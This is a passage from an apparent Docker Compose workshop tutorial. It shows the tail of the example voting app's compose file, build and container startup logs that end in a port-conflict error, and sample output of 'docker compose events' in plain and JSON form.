-    healthcheck:
-      test: /healthchecks/postgres.sh
-      interval: "5s"
-    networks:
-      - back-tier
-
-  # this service runs once to seed the database with votes
-  # it won't run unless you specify the "seed" profile
-  # docker compose --profile seed up -d
-  seed:
-    build: ./seed-data
-    profiles: ["seed"]
-    depends_on:
-      vote:
-        condition: service_healthy 
-    networks:
-      - front-tier
-    restart: "no"
-
-volumes:
-  db-data:
-
-networks:
-  front-tier:
-  back-tier:
-

Docker Compose up

-
example-voting-app git:(main) docker compose up
-[+] Running 9/9
- ⠿ db Pulled                                                                                                                                                                         9.7s
-   ⠿ af6eaf76a39c Already exists                                                                                                                                                     0.0s
-   ⠿ 71286d2ce0cc Pull complete                                                                                                                                                      1.7s
-   ⠿ b82afe47906a Pull complete                                                                                                                                                      1.8s
-   ⠿ 75d514bb4aa7 Pull complete                                                                                                                                                      5.6s
-   ⠿ 217da6f41d9e Pull complete                                                                                                                                                      5.7s
-   ⠿ 39a3f4823126 Pull complete                                                                                                                                                      5.7s
-   ⠿ ed6571a6afcc Pull complete                                                                                                                                                      5.8s
-   ⠿ 8ae7d38f54c4 Pull complete                                                                                                                                                      5.8s
-[+] Building 36.2s (42/42) FINISHED                                                                                                                                                       
- => [example-voting-app-result internal] load .dockerignore                                                                                                                          0.0s
- => => transferring context: 54B                                                                                                                                                     0.0s
- => [example-voting-app-result internal] load build definition from Dockerfile                                                                                                       0.0s
- => => transferring dockerfile: 517B                                                                                                                                                 0.0s
- => [example-voting-app-result internal] load metadata for docker.io/library/node:18-slim                                                                                            5.1s
- => [example-voting-app-vote internal] load .dockerignore                                                                                                                            0.0s
- => => transferring context: 2B                                                                                                                                                      0.0s
- => [example-voting-app-vote internal] load build definition from Dockerfile                                                                                                         0.0s
- => => transferring dockerfile: 740B                                                                                                                                                 0.0s
- => [example-voting-app-vote internal] load metadata for docker.io/library/python:3.9-slim                                                                                           5.2s
- => [example-voting-app-worker internal] load .dockerignore                                                                                                                          0.0s
- => => transferring context: 2B                                                                                                                                                      0.0s
- => [example-voting-app-worker internal] load build definition from Dockerfile                                                                                                       0.0s
- => => transferring dockerfile: 1.45kB                                                                                                                                               0.0s
- => [example-voting-app-worker internal] load metadata for mcr.microsoft.com/dotnet/runtime:7.0                                                                                      1.4s
- => [example-voting-app-worker internal] load metadata for mcr.microsoft.com/dotnet/sdk:7.0                                                                                          1.3s
- => [example-voting-app-worker build 1/7] FROM mcr.microsoft.com/dotnet/sdk:7.0@sha256:bd1ccc2332fc03c6df1659ed125f67f02666f9f188947a80cec4e7afd3c7f98d                             18.5s
- => => resolve mcr.microsoft.com/dotnet/sdk:7.0@sha256:bd1ccc2332fc03c6df1659ed125f67f02666f9f188947a80cec4e7afd3c7f98d                                                              0.0s
- => => sha256:8907849f91e57df0899482d802a3fc140b67a6d5febaa503837ed2233d662283 13.55MB / 13.55MB                                                                                     4.5s
- => => sha256:afd8a1df3eb1e6747064359ca9bc37db5330672279e0be935849f256d4b3f0b1 155.94MB / 155.94MB                                                                                  12.4s
- => => sha256:e4f0af37a4eb47b3e26810a4721ebdf36d9342d580d8c6027bd99a7596acc98c 25.39MB / 25.39MB                                                                                     1.9s
- => => sha256:d1a2ad48fbf7e8af456454a11f1e058cdb9ba171ef35dace5d13b495b053cc84 9.80MB / 9.80MB                                                                                       1.1s
- => => extracting sha256:d1a2ad48fbf7e8af456454a11f1e058cdb9ba171ef35dace5d13b495b053cc84                                                                                            0.1s
- => => extracting sha256:e4f0af37a4eb47b3e26810a4721ebdf36d9342d580d8c6027bd99a7596acc98c                                                                                            0.5s
- => => extracting sha256:afd8a1df3eb1e6747064359ca9bc37db5330672279e0be935849f256d4b3f0b1                                                                                            4.0s
- => => extracting sha256:8907849f91e57df0899482d802a3fc140b67a6d5febaa503837ed2233d662283                                                                                            0.4s
- => [example-voting-app-worker internal] load build context                                                                                                                          0.0s
- => => transferring context: 7.48kB                                                                                                                                                  0.0s
- => [example-voting-app-worker stage-1 1/3] FROM mcr.microsoft.com/dotnet/runtime:7.0@sha256:1ed4d59643e6b8b41b64ffa00b524ebca9de287bd3efa9955f9fa706f1dd0471                        3.6s
- => => resolve mcr.microsoft.com/dotnet/runtime:7.0@sha256:1ed4d59643e6b8b41b64ffa00b524ebca9de287bd3efa9955f9fa706f1dd0471                                                          0.0s
- => => sha256:a34d8d2343cd4d1705a15b9494ef9b39d01832d43c3a09fe129458c8bfdabeee 155B / 155B                                                                                           0.2s
- => => sha256:b7dfc290d72d9065e3276dcd05c3323942f8947a71dd5e7b4304f7a68d25c9c9 30.71MB / 30.71MB                                                                                     3.1s
- => => sha256:235af35749f09d6549b76fb376b3929ec21198feee4e72ffb396514dd11b374e 14.92MB / 14.92MB                                                                                     1.8s
- => => sha256:66dbba0fb1b568cc3ffd53409ba2f9f82995ab7f80e379338f3f36e4dcd223be 30.06MB / 30.06MB                                                                                     2.2s
- => => extracting sha256:66dbba0fb1b568cc3ffd53409ba2f9f82995ab7f80e379338f3f36e4dcd223be                                                                                            0.6s
- => => extracting sha256:235af35749f09d6549b76fb376b3929ec21198feee4e72ffb396514dd11b374e                                                                                            0.2s
- => => extracting sha256:b7dfc290d72d9065e3276dcd05c3323942f8947a71dd5e7b4304f7a68d25c9c9                                                                                            0.5s
- => => extracting sha256:a34d8d2343cd4d1705a15b9494ef9b39d01832d43c3a09fe129458c8bfdabeee                                                                                            0.0s
- => [example-voting-app-result 1/7] FROM docker.io/library/node:18-slim@sha256:36f3403a001b82d525afd2bdb7fcec0980543277dd86e9657964cce3438ae4b7                                      4.1s
- => => resolve docker.io/library/node:18-slim@sha256:36f3403a001b82d525afd2bdb7fcec0980543277dd86e9657964cce3438ae4b7                                                                0.0s
- => => sha256:8e5162ad1efe24f915933435516b8cb1510cc80704bdf87c868e995f4f871cd9 451B / 451B                                                                                           0.4s
- => => sha256:1ad5fb92392ab64732e756b44967f7ecead775eb06ce3f9cd43d1a22bd9c9458 2.77MB / 2.77MB                                                                                       1.8s
- => => sha256:cc36a0fa43f85245c8d9977661c82a89cfc226fc26e5861670cf62c0933f62c4 46.14MB / 46.14MB                                                                                     2.9s
- => => sha256:d1d4cdb9c955626876afec2a95c6f7487481e067acc0a8be1867f678003266df 4.19kB / 4.19kB                                                                                       0.6s
- => => extracting sha256:d1d4cdb9c955626876afec2a95c6f7487481e067acc0a8be1867f678003266df                                                                                            0.0s
- => => extracting sha256:cc36a0fa43f85245c8d9977661c82a89cfc226fc26e5861670cf62c0933f62c4                                                                                            1.0s
- => => extracting sha256:1ad5fb92392ab64732e756b44967f7ecead775eb06ce3f9cd43d1a22bd9c9458                                                                                            0.1s
- => => extracting sha256:8e5162ad1efe24f915933435516b8cb1510cc80704bdf87c868e995f4f871cd9                                                                                            0.0s
- => [example-voting-app-result internal] load build context                                                                                                                          0.0s
- => => transferring context: 302.01kB                                                                                                                                                0.0s
- => [example-voting-app-worker stage-1 2/3] WORKDIR /app                                                                                                                             0.2s
- => [example-voting-app-vote 1/6] FROM docker.io/library/python:3.9-slim@sha256:2ed9cf48cf86eb638a9ceb555737161fbb20fa0474494269150b4d6c2653227b                                     2.7s
- => => resolve docker.io/library/python:3.9-slim@sha256:2ed9cf48cf86eb638a9ceb555737161fbb20fa0474494269150b4d6c2653227b                                                             0.0s
- => => sha256:98b352a9715d74c4172491762aded5e741a28ce83df0fd99321a1031b1d5b6c8 3.17MB / 3.17MB                                                                                       0.6s
- => => sha256:14b89f7d65aecdc5e63ab5759d5135ec777524bcdbc4adb5200fac65c825655d 233B / 233B                                                                                           0.3s
- => => sha256:ac439b0377b530ec2bd538701b6611c91588fdf491f0566458373c314866cfb8 11.22MB / 11.22MB                                                                                     0.9s
- => => sha256:1f3ba05aa6dc6bcf7f4f57d5eaec80fd3edffbffde2e9727df29d63c978f0b99 1.06MB / 1.06MB                                                                                       1.4s
- => => extracting sha256:1f3ba05aa6dc6bcf7f4f57d5eaec80fd3edffbffde2e9727df29d63c978f0b99                                                                                            0.0s
- => => extracting sha256:ac439b0377b530ec2bd538701b6611c91588fdf491f0566458373c314866cfb8                                                                                            0.2s
- => => extracting sha256:14b89f7d65aecdc5e63ab5759d5135ec777524bcdbc4adb5200fac65c825655d                                                                                            0.0s
- => => extracting sha256:98b352a9715d74c4172491762aded5e741a28ce83df0fd99321a1031b1d5b6c8                                                                                            0.1s
- => [example-voting-app-vote internal] load build context                                                                                                                            0.0s
- => => transferring context: 6.11kB                                                                                                                                                  0.0s
- => [example-voting-app-vote 2/6] RUN apt-get update     && apt-get install -y --no-install-recommends     curl     && rm -rf /var/lib/apt/lists/*                                   4.2s
- => [example-voting-app-result 2/7] RUN apt-get update     && apt-get install -y --no-install-recommends     curl     tini     && rm -rf /var/lib/apt/lists/*                        3.4s
- => [example-voting-app-vote 3/6] WORKDIR /app                                                                                                                                       0.0s
- => [example-voting-app-vote 4/6] COPY requirements.txt /app/requirements.txt                                                                                                        0.0s
- => [example-voting-app-vote 5/6] RUN pip install -r requirements.txt                                                                                                                3.0s
- => [example-voting-app-result 3/7] WORKDIR /app                                                                                                                                     0.0s
- => [example-voting-app-result 4/7] RUN npm install -g nodemon                                                                                                                       1.9s
- => [example-voting-app-result 5/7] COPY package*.json ./                                                                                                                            0.0s
- => [example-voting-app-result 6/7] RUN npm ci  && npm cache clean --force  && mv /app/node_modules /node_modules                                                                    2.1s
- => [example-voting-app-vote 6/6] COPY . .                                                                                                                                           0.0s
- => [example-voting-app-vote] exporting to docker image format                                                                                                                       3.8s
- => => exporting layers                                                                                                                                                              0.5s
- => => exporting manifest sha256:8e6e3010a750bd01eebd409fa77a5e98f99f4aecefe6de2b8eb43096e7de9bcb                                                                                    0.0s
- => => exporting config sha256:5c1cf62b540c59ce0a99930302aae92523c6db3e77d0e8737d4d4260908880ee                                                                                      0.0s
- => => sending tarball                                                                                                                                                               3.2s
- => importing to docker                                                                                                                                                              2.4s
- => [example-voting-app-result 7/7] COPY . .                                                                                                                                         0.0s
- => [example-voting-app-result] exporting to docker image format                                                                                                                     3.9s
- => => exporting layers                                                                                                                                                              0.3s
- => => exporting manifest sha256:91ac5a4bcc08913d88936fca0f6f36a58a69cb0e2de202691b3fe6c545d21e7c                                                                                    0.0s
- => => exporting config sha256:223b94fc00aee779a4ee25ce9d1c69cab293aedd539b843faba7c1a47e894b29                                                                                      0.0s
- => => sending tarball                                                                                                                                                               3.6s
- => importing to docker                                                                                                                                                              2.4s
- => [example-voting-app-worker build 2/7] RUN echo "I am running on linux/arm64, building for linux/arm64"                                                                           0.1s
- => [example-voting-app-worker build 3/7] WORKDIR /source                                                                                                                            0.0s
- => [example-voting-app-worker build 4/7] COPY *.csproj .                                                                                                                            0.0s
- => [example-voting-app-worker build 5/7] RUN case linux/arm64 in          "linux/amd64")  ARCH=x64  ;;          "linux/arm64")  ARCH=arm64  ;;          "linux/arm64/v8")  ARCH=a  12.3s
- => [example-voting-app-worker build 6/7] COPY . .                                                                                                                                   0.0s
- => [example-voting-app-worker build 7/7] RUN  case linux/arm64 in          "linux/amd64")  ARCH=x64  ;;          "linux/arm64")  ARCH=arm64  ;;          "linux/arm64/v8")  ARCH=a  1.7s
- => [example-voting-app-worker stage-1 3/3] COPY --from=build /app .                                                                                                                 0.0s
- => [example-voting-app-worker] exporting to docker image format                                                                                                                     1.8s
- => => exporting layers                                                                                                                                                              0.1s
- => => exporting manifest sha256:93ec3cbb0ef4e82b397475cf25ca330aef2b4b2badaa7ad86541b00e48305e63                                                                                    0.0s
- => => exporting config sha256:8f82fda1dae8bc1c7c040c0c3045239fd48547d34ee3d5d458683cef7b107188                                                                                      0.0s
- => => sending tarball                                                                                                                                                               1.7s
- => importing to docker                                                                                                                                                              0.7s
-[+] Running 8/5
- ⠿ Network example-voting-app_back-tier   Created                                                                                                                                    0.1s
- ⠿ Network example-voting-app_front-tier  Created                                                                                                                                    0.1s
- ⠿ Volume "example-voting-app_db-data"    Created                                                                                                                                    0.0s
- ⠿ Container example-voting-app-redis-1   Created                                                                                                                                    0.2s
- ⠿ Container example-voting-app-db-1      Created                                                                                                                                    0.2s
- ⠿ Container example-voting-app-vote-1    Created                                                                                                                                    0.0s
- ⠿ Container example-voting-app-worker-1  Created                                                                                                                                    0.0s
- ⠿ Container example-voting-app-result-1  Created                                                                                                                                    0.0s
-Attaching to example-voting-app-db-1, example-voting-app-redis-1, example-voting-app-result-1, example-voting-app-vote-1, example-voting-app-worker-1
-example-voting-app-redis-1   | 1:C 04 Mar 2023 14:41:27.311 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
-example-voting-app-redis-1   | 1:C 04 Mar 2023 14:41:27.313 # Redis version=7.0.9, bits=64, commit=00000000, modified=0, pid=1, just started
-example-voting-app-redis-1   | 1:C 04 Mar 2023 14:41:27.313 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
-example-voting-app-redis-1   | 1:M 04 Mar 2023 14:41:27.313 * monotonic clock: POSIX clock_gettime
-example-voting-app-redis-1   | 1:M 04 Mar 2023 14:41:27.314 * Running mode=standalone, port=6379.
-example-voting-app-redis-1   | 1:M 04 Mar 2023 14:41:27.315 # Server initialized
-example-voting-app-redis-1   | 1:M 04 Mar 2023 14:41:27.318 * Ready to accept connections
-example-voting-app-db-1      | The files belonging to this database system will be owned by user "postgres".
-example-voting-app-db-1      | This user must also own the server process.
-example-voting-app-db-1      | 
-example-voting-app-db-1      | The database cluster will be initialized with locale "en_US.utf8".
-example-voting-app-db-1      | The default database encoding has accordingly been set to "UTF8".
-example-voting-app-db-1      | The default text search configuration will be set to "english".
-example-voting-app-db-1      | 
-example-voting-app-db-1      | Data page checksums are disabled.
-example-voting-app-db-1      | 
-example-voting-app-db-1      | fixing permissions on existing directory /var/lib/postgresql/data ... ok
-example-voting-app-db-1      | creating subdirectories ... ok
-example-voting-app-db-1      | selecting dynamic shared memory implementation ... posix
-example-voting-app-db-1      | selecting default max_connections ... 100
-example-voting-app-db-1      | selecting default shared_buffers ... 128MB
-example-voting-app-db-1      | selecting default time zone ... UTC
-example-voting-app-db-1      | creating configuration files ... ok
-example-voting-app-db-1      | running bootstrap script ... ok
-example-voting-app-db-1      | sh: locale: not found
-example-voting-app-db-1      | 2023-03-04 14:41:27.703 UTC [30] WARNING:  no usable system locales were found
-example-voting-app-db-1      | performing post-bootstrap initialization ... ok
-example-voting-app-db-1      | initdb: warning: enabling "trust" authentication for local connections
-example-voting-app-db-1      | initdb: hint: You can change this by editing pg_hba.conf or using the option -A, or --auth-local and --auth-host, the next time you run initdb.
-example-voting-app-db-1      | syncing data to disk ... ok
-example-voting-app-db-1      | 
-example-voting-app-db-1      | 
-example-voting-app-db-1      | Success. You can now start the database server using:
-example-voting-app-db-1      | 
-example-voting-app-db-1      |     pg_ctl -D /var/lib/postgresql/data -l logfile start
-example-voting-app-db-1      | 
-example-voting-app-db-1      | waiting for server to start....2023-03-04 14:41:28.118 UTC [36] LOG:  starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit
-example-voting-app-db-1      | 2023-03-04 14:41:28.120 UTC [36] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
-example-voting-app-db-1      | 2023-03-04 14:41:28.124 UTC [39] LOG:  database system was shut down at 2023-03-04 14:41:28 UTC
-example-voting-app-db-1      | 2023-03-04 14:41:28.127 UTC [36] LOG:  database system is ready to accept connections
-example-voting-app-db-1      |  done
-example-voting-app-db-1      | server started
-example-voting-app-db-1      | 
-example-voting-app-db-1      | /usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/*
-example-voting-app-db-1      | 
-example-voting-app-db-1      | waiting for server to shut down....2023-03-04 14:41:28.218 UTC [36] LOG:  received fast shutdown request
-example-voting-app-db-1      | 2023-03-04 14:41:28.220 UTC [36] LOG:  aborting any active transactions
-example-voting-app-db-1      | 2023-03-04 14:41:28.222 UTC [36] LOG:  background worker "logical replication launcher" (PID 42) exited with exit code 1
-example-voting-app-db-1      | 2023-03-04 14:41:28.222 UTC [37] LOG:  shutting down
-example-voting-app-db-1      | 2023-03-04 14:41:28.222 UTC [37] LOG:  checkpoint starting: shutdown immediate
-example-voting-app-db-1      | 2023-03-04 14:41:28.227 UTC [37] LOG:  checkpoint complete: wrote 3 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.002 s, sync=0.001 s, total=0.005 s; sync files=2, longest=0.001 s, average=0.001 s; distance=0 kB, estimate=0 kB
-example-voting-app-db-1      | 2023-03-04 14:41:28.233 UTC [36] LOG:  database system is shut down
-example-voting-app-db-1      |  done
-example-voting-app-db-1      | server stopped
-example-voting-app-db-1      | 
-example-voting-app-db-1      | PostgreSQL init process complete; ready for start up.
-example-voting-app-db-1      | 
-example-voting-app-db-1      | 2023-03-04 14:41:28.342 UTC [1] LOG:  starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit
-example-voting-app-db-1      | 2023-03-04 14:41:28.342 UTC [1] LOG:  listening on IPv4 address "0.0.0.0", port 5432
-example-voting-app-db-1      | 2023-03-04 14:41:28.342 UTC [1] LOG:  listening on IPv6 address "::", port 5432
-example-voting-app-db-1      | 2023-03-04 14:41:28.344 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
-example-voting-app-db-1      | 2023-03-04 14:41:28.347 UTC [50] LOG:  database system was shut down at 2023-03-04 14:41:28 UTC
-example-voting-app-db-1      | 2023-03-04 14:41:28.351 UTC [1] LOG:  database system is ready to accept connections
-Error response from daemon: Ports are not available: exposing port TCP 0.0.0.0:5000 -> 0.0.0.0:0: listen tcp 0.0.0.0:5000: bind: address already in use
-➜  example-voting-app git:(main) 
-

check docker compose events

-
docker compose events 
-2023-03-04 20:12:13.002384 container exec_create: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (name=example-voting-app-redis-1, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=a242ce36c4b7595edfe03a0f3f01d71b201f003ab0e04cf04f26ee17e2d5e668, image=redis:alpine, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks)
-
-2023-03-04 20:12:13.003007 container exec_start: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/Target=/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, execID=a242ce36c4b7595edfe03a0f3f01d71b201f003ab0e04cf04f26ee17e2d5e668, image=redis:alpine, name=example-voting-app-redis-1)
-
-2023-03-04 20:12:13.022680 container exec_create: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, image=postgres:15-alpine, desktop.docker.io/binds/0/Target=/healthchecks, execID=df7c12ef54c8029a23eb9febcb677c8f8c0984cf5c3da7c5634d268b1b3804b3, name=example-voting-app-db-1)
-
-2023-03-04 20:12:13.023200 container exec_start: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (name=example-voting-app-db-1, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=df7c12ef54c8029a23eb9febcb677c8f8c0984cf5c3da7c5634d268b1b3804b3, image=postgres:15-alpine, desktop.docker.io/binds/0/Target=/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile)
-
-2023-03-04 20:12:13.078489 container exec_die c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Target=/healthchecks, image=redis:alpine, execID=a242ce36c4b7595edfe03a0f3f01d71b201f003ab0e04cf04f26ee17e2d5e668, exitCode=0, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, name=example-voting-app-redis-1)
-
-2023-03-04 20:12:13.097001 container exec_die 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (image=postgres:15-alpine, desktop.docker.io/binds/0/SourceKind=hostFile, exitCode=0, name=example-voting-app-db-1, desktop.docker.io/binds/0/Target=/healthchecks, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=df7c12ef54c8029a23eb9febcb677c8f8c0984cf5c3da7c5634d268b1b3804b3)
-
-2023-03-04 20:12:18.082975 container exec_create: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (image=redis:alpine, name=example-voting-app-redis-1, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, execID=4293df2a37da48526e1c21e417c25d34e8947171a66a44bb9741036f09903032)
-
-2023-03-04 20:12:18.083432 container exec_start: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=4293df2a37da48526e1c21e417c25d34e8947171a66a44bb9741036f09903032, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, image=redis:alpine, name=example-voting-app-redis-1)
-
-2023-03-04 20:12:18.099740 container exec_create: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (name=example-voting-app-db-1, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, image=postgres:15-alpine, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, execID=725b7d5bf401d7c3944d8432b78835ebd86742b696ce30f6166da8b8d3802f63)
-
-2023-03-04 20:12:18.100090 container exec_start: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, execID=725b7d5bf401d7c3944d8432b78835ebd86742b696ce30f6166da8b8d3802f63, image=postgres:15-alpine, name=example-voting-app-db-1)
-
-2023-03-04 20:12:18.169539 container exec_die c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, image=redis:alpine, name=example-voting-app-redis-1, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, execID=4293df2a37da48526e1c21e417c25d34e8947171a66a44bb9741036f09903032, exitCode=0)
-
-2023-03-04 20:12:18.185722 container exec_die 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/SourceKind=hostFile, image=postgres:15-alpine, desktop.docker.io/binds/0/Target=/healthchecks, exitCode=0, name=example-voting-app-db-1, execID=725b7d5bf401d7c3944d8432b78835ebd86742b696ce30f6166da8b8d3802f63, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks)
-
-2023-03-04 20:12:23.173394 container exec_create: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/Target=/healthchecks, image=redis:alpine, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, execID=7225d11881403d700013274bbcd9ab8c0dcf8e1ec55ecf8eefc63af51cb10ebe, name=example-voting-app-redis-1)
-
-2023-03-04 20:12:23.173847 container exec_start: /bin/sh -c /healthchecks/redis.sh c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=7225d11881403d700013274bbcd9ab8c0dcf8e1ec55ecf8eefc63af51cb10ebe, image=redis:alpine, name=example-voting-app-redis-1)
-
-2023-03-04 20:12:23.188391 container exec_create: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/Target=/healthchecks, name=example-voting-app-db-1, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=8c18f808739a1a14c190db460030da0bb1b4a68a153f202f55a2c840f96bf630, image=postgres:15-alpine)
-
-2023-03-04 20:12:23.188516 container exec_start: /bin/sh -c /healthchecks/postgres.sh 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, execID=8c18f808739a1a14c190db460030da0bb1b4a68a153f202f55a2c840f96bf630, image=postgres:15-alpine, name=example-voting-app-db-1, desktop.docker.io/binds/0/Target=/healthchecks)
-
-2023-03-04 20:12:23.241796 container exec_die c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406 (desktop.docker.io/binds/0/SourceKind=hostFile, execID=7225d11881403d700013274bbcd9ab8c0dcf8e1ec55ecf8eefc63af51cb10ebe, exitCode=0, name=example-voting-app-redis-1, desktop.docker.io/binds/0/Target=/healthchecks, image=redis:alpine, desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks)
-
-2023-03-04 20:12:23.263784 container exec_die 0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6 (desktop.docker.io/binds/0/Source=/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks, desktop.docker.io/binds/0/SourceKind=hostFile, desktop.docker.io/binds/0/Target=/healthchecks, exitCode=0, name=example-voting-app-db-1, execID=8c18f808739a1a14c190db460030da0bb1b4a68a153f202f55a2c840f96bf630, image=postgres:15-alpine)
-

use –json flag

-

-docker compose events --json
-{"action":"exec_create: /bin/sh -c /healthchecks/redis.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"8f907207527e01ca85a0d73227b35a6da73ed8402de4336e1acb312c46e9473e","image":"redis:alpine","name":"example-voting-app-redis-1"},"id":"c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406","service":"redis","time":"2023-03-04T20:30:14.926031584+05:30","type":"container"}
-{"action":"exec_start: /bin/sh -c /healthchecks/redis.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"8f907207527e01ca85a0d73227b35a6da73ed8402de4336e1acb312c46e9473e","image":"redis:alpine","name":"example-voting-app-redis-1"},"id":"c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406","service":"redis","time":"2023-03-04T20:30:14.926920001+05:30","type":"container"}
-{"action":"exec_create: /bin/sh -c /healthchecks/postgres.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"006d0a097e9819360bf647cc7f2f5c75723588a546b14359267b4b3a0b169310","image":"postgres:15-alpine","name":"example-voting-app-db-1"},"id":"0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6","service":"db","time":"2023-03-04T20:30:14.940481834+05:30","type":"container"}
